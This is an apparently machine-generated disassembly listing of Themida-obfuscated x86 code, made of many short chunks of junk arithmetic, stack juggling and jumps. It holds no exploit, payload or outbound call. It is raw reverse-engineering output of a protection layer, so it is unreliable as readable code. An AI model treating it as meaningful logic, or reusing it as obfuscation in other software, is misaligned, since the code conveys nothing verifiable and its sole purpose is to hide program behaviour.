loc_58C33F: ; CODE XREF: sub_585452+8CB0j shr eax, 5 shr eax, 1 jmp loc_589600 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58C349: ; CODE XREF: Themida_:0058F3B1j mov eax, [esp] add esp, 4 sub bl, al add bl, 2Bh push ax mov ah, 2Fh jmp loc_584FD6 ; --------------------------------------------------------------------------- loc_58C360: ; CODE XREF: Themida_:00589B4Ej jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58C365: ; CODE XREF: sub_58EFBD-A734j shl edi, 7 jmp loc_58FE97 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DEA3 loc_58C36D: ; CODE XREF: sub_58DEA3+9j and dl, 4Ch inc dl push edx not byte ptr [esp+0] pop edx and dl, 31h push ecx mov cl, 0A2h sub dl, cl jmp loc_58477B ; END OF FUNCTION CHUNK FOR sub_58DEA3 ; --------------------------------------------------------------------------- loc_58C384: ; CODE XREF: Themida_:0058540Fj pop esi xor edx, 75F26208h add edx, 690F7C31h or edx, 54876853h push ebx mov ebx, 56E75108h and ebx, 4AFD485Ch jmp loc_58E65D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A170 loc_58C3A8: ; CODE XREF: sub_58A170-2CB4j sub cl, 37h sub cl, 87h mov dh, cl jmp loc_586F81 ; END OF FUNCTION CHUNK FOR sub_58A170 ; --------------------------------------------------------------------------- loc_58C3B5: ; CODE XREF: Themida_:0058EE63j sub ebx, 3BE75426h jmp loc_58BDE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C3C0: ; CODE XREF: sub_585452+6019j push edi mov edi, 4 add eax, edi pop edi xchg eax, [esp+6+var_8+2] jmp loc_585CB3 ; --------------------------------------------------------------------------- loc_58C3D1: ; CODE XREF: sub_585452+1909j pop esi push eax jmp sub_586A34 ; --------------------------------------------------------------------------- loc_58C3D8: ; CODE XREF: sub_585452+F1Dj or eax, 78196740h neg eax jmp loc_58F50B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58C3E4: ; CODE XREF: Themida_:0058E4CEj add ebx, edx add ebx, 4E0B7835h jmp loc_58CB1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C3F1: ; CODE XREF: sub_585452+312Dj add esi, 27E80408h add esi, edi sub esi, 27E80408h add esi, 0D920C8Ah mov edi, [esp+4Ah+var_4C+2] add esp, 4 jmp loc_587F85 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58C413: ; CODE XREF: Themida_:00589D60j mov esi, [esp] push edx mov edx, esp add edx, 4 jmp loc_5875A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C424: ; CODE XREF: sub_585452-A6Aj add esp, 4 push ebx push esp mov ebx, [esp+0] add esp, 4 jmp sub_58A26F ; --------------------------------------------------------------------------- loc_58C437: ; CODE XREF: sub_585452+3109j add esi, 4 add esi, 4 xchg esi, [esp+56h+var_58+2] pop esp add edx, 2 xor edx, [esp+52h+var_54+2] xor [esp+52h+var_54+2], edx xor edx, [esp+52h+var_54+2] pop esp add bl, 4Ch push ecx push eax mov ah, 58h or ah, 0C1h dec ah inc ah and ah, 35h and ah, 7Eh add ah, 9Fh mov cl, ah pop eax push eax push edx mov dh, 8Dh mov al, 0Ch sub al, dh mov edx, [esp+5Ah+var_5C+2] add esp, 4 jmp loc_58E400 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov ax, [esp] push 46AAh jmp loc_5870D2 ; --------------------------------------------------------------------------- loc_58C48C: ; CODE XREF: Themida_:0058A0A8j sub al, 0EEh mov edx, [esp] add esp, 4 add al, bl push ecx mov cl, 5Ah push small 48D3h mov [esp], ax jmp loc_586E23 ; --------------------------------------------------------------------------- loc_58C4A6: ; CODE XREF: Themida_:005848E9j sub al, 34h mov edx, [esp] push edx jmp loc_58EB10 ; --------------------------------------------------------------------------- loc_58C4B1: ; CODE XREF: Themida_:00587A0Ej sub edi, 75B66DE8h pop ebp add edi, 1D140815h add edi, ebp sub edi, 1D140815h add edi, 757B2CD8h jmp loc_5852BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C4D1: ; CODE XREF: sub_585452+2E4j sub esi, 6D524E57h add esi, ecx add esi, 6D524E57h pop ecx push 6B7Eh mov [esp+0Eh+var_10+2], esi push [esp+0Eh+var_C+2] pop esi pop [esp+0Eh+var_10+2] mov esp, [esp+0Ah+var_C+2] jmp loc_586C81 ; --------------------------------------------------------------------------- loc_58C4F8: ; CODE XREF: sub_585452+494Dj xchg edx, ebx jmp loc_5863C4 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58C4FF: ; CODE XREF: Themida_:00587DC6j sub edx, 5E5D69DAh inc edx add edx, 7330E42Fh or esi, edx pop edx jmp loc_58654E ; --------------------------------------------------------------------------- mov ax, [esp] push 7441h mov [esp], edx jmp loc_58D31D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C525: ; CODE XREF: sub_585452-78Dj mov dh, 0A3h sub dh, 0E4h or dh, 0F2h add dh, 0C8h add bl, dh pop edx add bl, 0F7h pop cx pop eax movzx eax, al jmp loc_586108 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58C541: ; CODE XREF: Themida_:0058E153j push esi mov esi, 4 sub ebp, esi pop esi xchg ebp, [esp] mov esp, [esp] mov [esp], esi push 0B57h mov [esp], esp jmp loc_58D7A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C560: ; CODE XREF: sub_585452-B5Ej mov edi, 44815E6Eh xor edi, 197C16F0h sub eax, edi pop edi push edx mov edx, 3B591359h push 14E1h mov [esp+0Ch+var_C], ebp push esi push 2A424DB8h pop esi neg esi push eax mov eax, 40710AECh jmp loc_586617 ; --------------------------------------------------------------------------- loc_58C590: ; CODE XREF: sub_585452-1183j xchg ecx, [esp-4+arg_0] pop esp mov [esp-8+arg_4], edi mov edi, 22A44354h push ebx mov ebx, 42D67DA4h jmp loc_585996 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5862E8 loc_58C5A7: ; CODE XREF: sub_5862E8+1j mov ebp, 4 jmp loc_58BBA4 ; END OF FUNCTION CHUNK FOR sub_5862E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_58C5B1: ; CODE XREF: sub_58FA66-4405j mov esi, 4 jmp loc_58E5D8 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_58C5BB: ; CODE XREF: Themida_:0058711Bj mov dl, 0C2h jmp loc_5848E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C5C2: ; CODE XREF: sub_585452+A74Bj add edi, ebx pop ebx push [esp-8+arg_4] pop ebx add esp, 4 jmp loc_584030 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58C5D1: ; CODE XREF: sub_58EFBD-200Cj xor ebp, edx jmp loc_58BF58 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58405E loc_58C5D8: ; CODE XREF: sub_58405E+B16Aj mov [esp+4+var_4], edx push eax push 147B19DAh jmp loc_585041 ; END OF FUNCTION CHUNK FOR sub_58405E ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_58754C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C5EE: ; CODE XREF: sub_585452+8203j xor ebp, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] jmp loc_588F34 ; --------------------------------------------------------------------------- loc_58C5F9: ; CODE XREF: sub_585452+A9CDj push 6CCA520Dh pop eax or eax, 42D01D58h shr eax, 1 jmp loc_588FC1 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58C60B: ; CODE XREF: Themida_:00588DC6j shl ecx, 1 push 370Fh mov [esp], ebx push edx mov edx, 33526CD0h jmp loc_58F650 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CA39 loc_58C620: ; CODE XREF: sub_58CA39-36E1j sub edi, ebp pop ebp jmp loc_58EDAE ; END OF FUNCTION CHUNK FOR sub_58CA39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C628: ; CODE XREF: sub_585452+A1ADj pop ecx sub esp, 4 mov [esp-0Ch+arg_8], edi push dword ptr [esp+4] pop edi jmp loc_58C2FA ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58C63C: ; CODE XREF: Themida_:0058A16Bj add ebx, ecx pop ecx sub eax, ebx pop ebx push 7211h mov [esp], edx push 10B31370h pop edx neg edx or edx, 7132163Ch shl edx, 8 push 597Ch mov [esp], edi jmp loc_5846FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C668: ; CODE XREF: sub_585452+10B0j mov esi, [esp+32h+var_34+2] add esp, 4 add esi, 4 add esi, 4 xchg esi, [esp+2Eh+var_30+2] mov esp, [esp+2Eh+var_30+2] jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58C682: ; CODE XREF: sub_585452+52Cj add cl, 43h mov dh, cl pop ecx add bl, dh mov edx, [esp+42h+var_44+2] add esp, 4 movzx eax, al lea eax, [edi+eax*4] jmp loc_589307 ; --------------------------------------------------------------------------- loc_58C69B: ; CODE XREF: sub_585452+C91j pop eax push 3ECBh mov [esp+12h+var_14+2], ecx mov ecx, 4C5973ECh sub ecx, 1D6B5EFBh add ecx, 12675CCCh shl ecx, 3 sub esp, 4 mov [esp+16h+var_18+2], esi mov esi, 474B3E83h sub esi, 7E453C65h dec esi jmp loc_587E1E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CCD7 loc_58C6D2: ; CODE XREF: sub_58CCD7+167Aj add ecx, edi sub ecx, 56A64F81h jmp loc_588D99 ; END OF FUNCTION CHUNK FOR sub_58CCD7 ; --------------------------------------------------------------------------- loc_58C6DF: ; CODE XREF: Themida_:0058C9F5j push ebx mov bl, 0A3h xor al, bl pop ebx push ebx mov bl, al mov dh, bl jmp loc_586C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C6EF: ; CODE XREF: sub_585452+6A10j or dh, 2Bh push eax jmp loc_58AD95 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A5A3 loc_58C6F8: ; CODE XREF: sub_58A5A3+7j mov ecx, 4 add [esp+8+var_4], ecx jmp loc_58D89A ; END OF FUNCTION CHUNK FOR sub_58A5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586A34 loc_58C706: ; CODE XREF: sub_586A34-17F4j xor eax, 7D146508h and eax, 2BCE4F9Ah inc eax sub eax, 80BFFFDh add esi, 531F687Dh add esi, eax sub esi, 531F687Dh pop eax push ebx jmp loc_58DABD ; END OF FUNCTION CHUNK FOR sub_586A34 ; --------------------------------------------------------------------------- loc_58C72B: ; CODE XREF: Themida_:0058B3DEj mov edx, 467FFAh jmp loc_58EA0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C735: ; CODE XREF: sub_585452+A962j pop esi push edx not [esp-14h+arg_E+2] pop edx push ebx jmp loc_58B687 ; --------------------------------------------------------------------------- loc_58C741: ; CODE XREF: sub_585452+7797j xchg edx, [esp-14h+arg_E+2] not edx xchg edx, [esp-14h+arg_E+2] mov edi, [esp-14h+arg_E+2] add esp, 4 xchg edi, ebp shr ebp, 2 neg ebp sub ebp, 7AFA86B6h add edx, ebp mov ebp, [esp-18h+arg_12+2] add esp, 4 push esi jmp loc_58DD9C ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58C76D: ; CODE XREF: Themida_:00587BFBj pop dword ptr [esp] pop esp inc word ptr [esp] pushf jmp loc_583C20 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_58FE8B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C789: ; CODE XREF: sub_585452+9E17j pop esi sub ecx, 0A8900DCh add eax, 4EDC34E2h add eax, ecx sub eax, 4EDC34E2h mov ecx, [esp-1Ch+arg_16+2] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_58A799 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58C7B0: ; CODE XREF: Themida_:00584676j pop ebp sub ebp, 3DBB6B15h mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58D742 ; --------------------------------------------------------------------------- loc_58C7CE: ; CODE XREF: Themida_:0058FA33j mov [esp], ebx mov bl, 4Fh push eax mov al, 77h mov dh, al pop eax sub dh, 5Fh jmp loc_58675F ; --------------------------------------------------------------------------- loc_58C7E1: ; CODE XREF: Themida_:0058D5FDj push ebx mov ebx, 4 add edi, ebx pop ebx push 5974h mov [esp], ecx mov ecx, 2 sub edi, 7E077FE3h add edi, ecx push ebp jmp loc_58796A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58C805: ; CODE XREF: sub_58EFBD-FC9j shl eax, cl push 67EDh mov [esp+8+var_8], edi mov edi, 0FFFFFFFFh sub eax, 49C06FBAh jmp loc_58FE90 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58C81E: ; CODE XREF: Themida_:00587159j add cl, 0FCh shl cl, 8 add cl, 0FFh push edx jmp loc_58F9E4 ; --------------------------------------------------------------------------- loc_58C82D: ; CODE XREF: Themida_:00589EADj xor ecx, 75303D9Dh xor ecx, 34E3C7E9h jmp loc_58ECE8 ; --------------------------------------------------------------------------- loc_58C83E: ; CODE XREF: Themida_:0058CA73j push ecx mov ecx, 1E2042F0h or eax, ecx jmp loc_587CD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C84B: ; CODE XREF: sub_585452+6CD1j and edi, 31EE3E13h push edx mov edx, 28946BD8h jmp loc_58E0B2 ; --------------------------------------------------------------------------- loc_58C85C: ; CODE XREF: sub_585452+26F9j mov [esp-20h+arg_1A+2], ebp mov ebp, 1EEA12DBh add ebx, 7D6959C0h sub ebx, 48EA3C04h sub ebx, ebp add ebx, 48EA3C04h sub ebx, 7D6959C0h pop ebp push 2484h jmp loc_58FD7F ; --------------------------------------------------------------------------- loc_58C889: ; CODE XREF: sub_585452+4FBFj mov ecx, [esp+0Ah+var_C+2] add esp, 4 add ebx, 4 xchg ebx, [esp+6+var_8+2] pop esp xor edx, 6CB04AF4h jmp loc_584802 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_58C8A4: ; CODE XREF: sub_58C230+1143j mov ebp, 288534AAh jmp loc_589D65 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EDD1 loc_58C8AE: ; CODE XREF: sub_58EDD1-E24j sub ah, bl jmp loc_58FD2F ; END OF FUNCTION CHUNK FOR sub_58EDD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C8B5: ; CODE XREF: sub_585452+A419j push eax sub esp, 4 push esp pop [esp+0Eh+var_10+2] add [esp+0Ah+var_C+2], 4 jmp loc_5896E5 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58C8C9: ; CODE XREF: Themida_:00584915j mov ebx, 2 push ecx mov ecx, 2F1B4C24h sub esi, ecx jmp loc_58CFA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C31F loc_58C8DB: ; CODE XREF: sub_58C31F-F99j inc eax and eax, 1FE8504Ah jmp loc_58837B ; END OF FUNCTION CHUNK FOR sub_58C31F ; --------------------------------------------------------------------------- loc_58C8E6: ; CODE XREF: Themida_:005863DEj xor ecx, 945F4E71h sub edx, ecx pop ecx xor eax, edx pop edx add edi, eax pop eax sub edi, 2 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], ax jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58C90D: ; CODE XREF: Themida_:0058EF4Dj mov ebx, esp add ebx, 4 jmp loc_586909 ; --------------------------------------------------------------------------- loc_58C91A: ; CODE XREF: Themida_:0058D753j pop ebx jmp loc_58785E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C920: ; CODE XREF: sub_585452+514Cj xor edi, 13876E81h jmp loc_588579 ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58C92B proc near ; CODE XREF: sub_58F728-AF4Fj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005841FD SIZE 0000004F BYTES ; FUNCTION CHUNK AT 0058473D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058697A SIZE 00000006 BYTES push ebx mov ebx, 2E676A33h add ebx, 7F6E0C1Ah neg ebx inc ebx add ebx, 0B658B880h sub edx, 19D855DEh jmp loc_5841FD sub_58C92B endp ; --------------------------------------------------------------------------- mov ax, [esp] push 2FF3h mov [esp], eax push 611Dh mov [esp], esp add dword ptr [esp], 4 pop eax push edi push 4 pop edi jmp loc_5871DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C973: ; CODE XREF: sub_585452+6BEj shl dh, 3 push bx mov bh, 0E6h jmp loc_58DF33 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58C97F: ; CODE XREF: Themida_:0058F2FFj pop esp xor ebx, eax mov dx, [esp] push ebx mov ebx, esp push ebx mov ebx, esp jmp loc_585D5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C991: ; CODE XREF: sub_585452+21D1j mov eax, 18B0758Fh sub eax, 10412DB8h xor eax, 6B5638C1h dec eax xor eax, 66A8147Fh jmp loc_58E5AC ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58C9AB: ; CODE XREF: Themida_:00584508j mov esi, esp add esi, 4 jmp loc_58EB88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C9B8: ; CODE XREF: sub_585452+E82j push 0FFFFh push [esp-1Ch+arg_16+2] jmp loc_58919F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58C9C5: ; CODE XREF: Themida_:00587D96j pop esi add esi, 4 push ecx mov ecx, 71C57B26h push edi mov edi, 7FE3CBAh jmp loc_58F11A ; --------------------------------------------------------------------------- loc_58C9DD: ; CODE XREF: Themida_:0058FBD3j sub al, 0F5h sub al, 0AFh or dl, al pop eax inc dl not dl sub dl, 59h xor dl, 0DCh add al, dl pop edx neg al sub al, 0A5h jmp loc_58C6DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C9FA: ; CODE XREF: sub_585452+65CAj xor eax, [esp-1Ch+arg_16+2] jmp loc_585006 ; --------------------------------------------------------------------------- loc_58CA02: ; CODE XREF: sub_585452+9E4Fj sub ecx, 2AAE50D8h mov edx, [esp-1Ch+arg_16+2] add esp, 4 push eax mov eax, 2 add ecx, eax pop eax xchg ecx, [esp-20h+arg_1A+2] mov esp, [esp-20h+arg_1A+2] imul cx, ax push cx pushf jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58622C loc_58CA2C: ; CODE XREF: sub_58622C+7D56j mov ebx, esp jmp loc_58B0EA ; END OF FUNCTION CHUNK FOR sub_58622C ; --------------------------------------------------------------------------- loc_58CA33: ; CODE XREF: Themida_:005876C5j pop edx jmp loc_58A86C ; =============== S U B R O U T I N E ======================================= sub_58CA39 proc near ; CODE XREF: sub_58A26F+4A4j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00587E0E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00588B47 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058933B SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0058C620 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058CC37 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058EDAE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058F123 SIZE 00000042 BYTES ; FUNCTION CHUNK AT 0058FB12 SIZE 00000015 BYTES push ebp mov ebp, 6E4D09D3h sub ecx, ebp jmp loc_588B47 sub_58CA39 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_58CA46: ; CODE XREF: sub_587574-288Fj pop ebp xchg ebx, [esp-4+arg_0] jmp loc_58A6F1 ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CA4F: ; CODE XREF: sub_585452+2CC8j xor ch, al pop ax inc ch sub ch, 0E5h add bh, ch pop ecx add bh, 76h jmp loc_58B719 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58CA63: ; CODE XREF: Themida_:005869ADj push 3740h mov [esp], ebp mov ebp, 49E3928h and eax, ebp pop ebp jmp loc_58C83E ; --------------------------------------------------------------------------- loc_58CA78: ; CODE XREF: Themida_:0058FB78j xchg edi, [esp] pop esp jmp loc_58B709 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58622C loc_58CA81: ; CODE XREF: sub_58622C-E00j inc ebp xor ebp, 6966404Ch and ebp, 6B2259E8h jmp loc_58983E ; END OF FUNCTION CHUNK FOR sub_58622C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CA93: ; CODE XREF: sub_585452+536Dj pop edx push 4F99h mov [esp+3Eh+var_40+2], eax push edx jmp loc_58F1CD ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58CAAA: ; CODE XREF: Themida_:00586447j pop ebp push ecx jmp loc_586AF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CAB1: ; CODE XREF: sub_585452+6922j not dh jmp loc_5880E0 ; --------------------------------------------------------------------------- loc_58CAB8: ; CODE XREF: sub_585452+8FD1j pop edi jmp loc_5899A4 ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58CABE proc near ; CODE XREF: sub_58A459+Bj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058D758 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058ED03 SIZE 0000001C BYTES sub esp, 4 mov [esp+4+var_4], eax push esi mov esi, 35C35490h sub [esp+8+var_4], esi pop esi mov edi, [esp+4+var_4] jmp loc_58D758 sub_58CABE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CADA: ; CODE XREF: sub_585452+661Aj push edx mov edx, 4 jmp loc_58502A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58CAE5: ; CODE XREF: Themida_:00585F46j sub esp, 4 jmp loc_586080 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CAED: ; CODE XREF: sub_585452+A2C7j xchg ebp, [esp+0] jmp loc_58D53A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58CAF5: ; CODE XREF: Themida_:0058E378j mov [eax], bh pop ebx pop eax pop edx pop ebx jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58CB00: ; CODE XREF: Themida_:00583EA8j push 796Bh mov [esp], edx mov dl, 7 jmp loc_58A099 ; --------------------------------------------------------------------------- loc_58CB0F: ; CODE XREF: Themida_:0058F02Fj jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CB14: ; CODE XREF: sub_585452+FCCj push eax mov eax, 2 jmp loc_584DB3 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58CB1F: ; CODE XREF: Themida_:0058C3ECj push ecx mov ecx, 56FE2765h sub ebx, ecx pop ecx push edx push ecx jmp loc_58B89D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CB2F: ; CODE XREF: sub_585452+5A7Fj sub ebx, 18346755h sub esp, 4 jmp loc_58F21F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58CB40: ; CODE XREF: Themida_:005873B6j add esp, 4 xor ebp, [esp] jmp loc_58D444 ; --------------------------------------------------------------------------- loc_58CB4B: ; CODE XREF: Themida_:0058DF60j add esi, 4 jmp loc_5852C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CB56: ; CODE XREF: sub_585452+7973j add ecx, esi pop esi add ecx, 4 xor ecx, [esp-32h+arg_2C+2] xor [esp-32h+arg_2C+2], ecx xor ecx, [esp-32h+arg_2C+2] pop esp shr ecx, 2 jmp loc_58B418 ; --------------------------------------------------------------------------- loc_58CB71: ; CODE XREF: sub_585452+6CBCj mov ecx, [esp+0] push 68DBh mov [esp+4+var_4], esi mov esi, esp push ebp mov ebp, 4 jmp loc_584950 ; --------------------------------------------------------------------------- loc_58CB89: ; CODE XREF: sub_585452-1334j xor ch, al mov eax, [esp+4+var_4] add esp, 4 jmp loc_58C1FC ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_58CB99: ; CODE XREF: sub_58AB18+3D08j add edi, 41700BC5h sub edi, 7A145B80h add edi, 15B01E08h jmp loc_5892F0 ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- loc_58CBB0: ; CODE XREF: Themida_:00587653j mov ch, dl mov dx, [esp] add esp, 2 not bl jmp loc_586EE0 ; --------------------------------------------------------------------------- loc_58CBC0: ; CODE XREF: Themida_:0058B413j neg bh neg bh sub bh, 0 add bh, 9Eh sub cl, bh jmp loc_58B948 ; --------------------------------------------------------------------------- loc_58CBD1: ; CODE XREF: Themida_:00586268j push edi mov edi, 671636A3h jmp loc_584177 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58CBDC: ; CODE XREF: sub_58EFBD-7764j mov eax, 3C594350h jmp loc_588311 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CBE6: ; CODE XREF: sub_585452+96DDj xchg edi, ebp push edi jmp loc_58C741 ; --------------------------------------------------------------------------- loc_58CBEE: ; CODE XREF: sub_585452+5502j push esi jmp sub_58FA66 ; --------------------------------------------------------------------------- loc_58CBF4: ; CODE XREF: sub_585452+86AAj pop ecx sub edi, 5FB64030h jmp loc_58E756 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58CC00: ; CODE XREF: sub_58EFBD-A483j mov ecx, [esp+4+var_4] add esp, 4 sub ebp, 1 and ebp, 45384AF2h sub ebp, 44384AB0h mov [edi+20h], ebp jmp loc_589F8D ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58CC23: ; CODE XREF: sub_585452+A269j xor [esp-14h+arg_E+2], edi xor edi, [esp-14h+arg_E+2] jmp loc_587BC4 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E931 loc_58CC2E: ; CODE XREF: sub_58E931-9825j add [esp+10h+var_C], edx jmp loc_584633 ; END OF FUNCTION CHUNK FOR sub_58E931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CA39 loc_58CC37: ; CODE XREF: sub_58CA39+30E9j mov [eax], ecx pop eax pop ebx jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_58CA39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_58CC40: ; CODE XREF: sub_58C230-34EEj add esp, 4 neg ecx add ecx, 229C648Bh jmp loc_587326 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- loc_58CC50: ; CODE XREF: Themida_:00586341j sub ebp, ecx pop ecx push esi mov esi, ebp mov ecx, esi push dword ptr [esp] pop esi add esp, 4 pop ebp add ebp, ecx mov ecx, [esp] add esp, 4 xchg ebp, [esp] pop esp movzx cx, al push small 5A85h mov [esp], cx jmp loc_583C20 ; 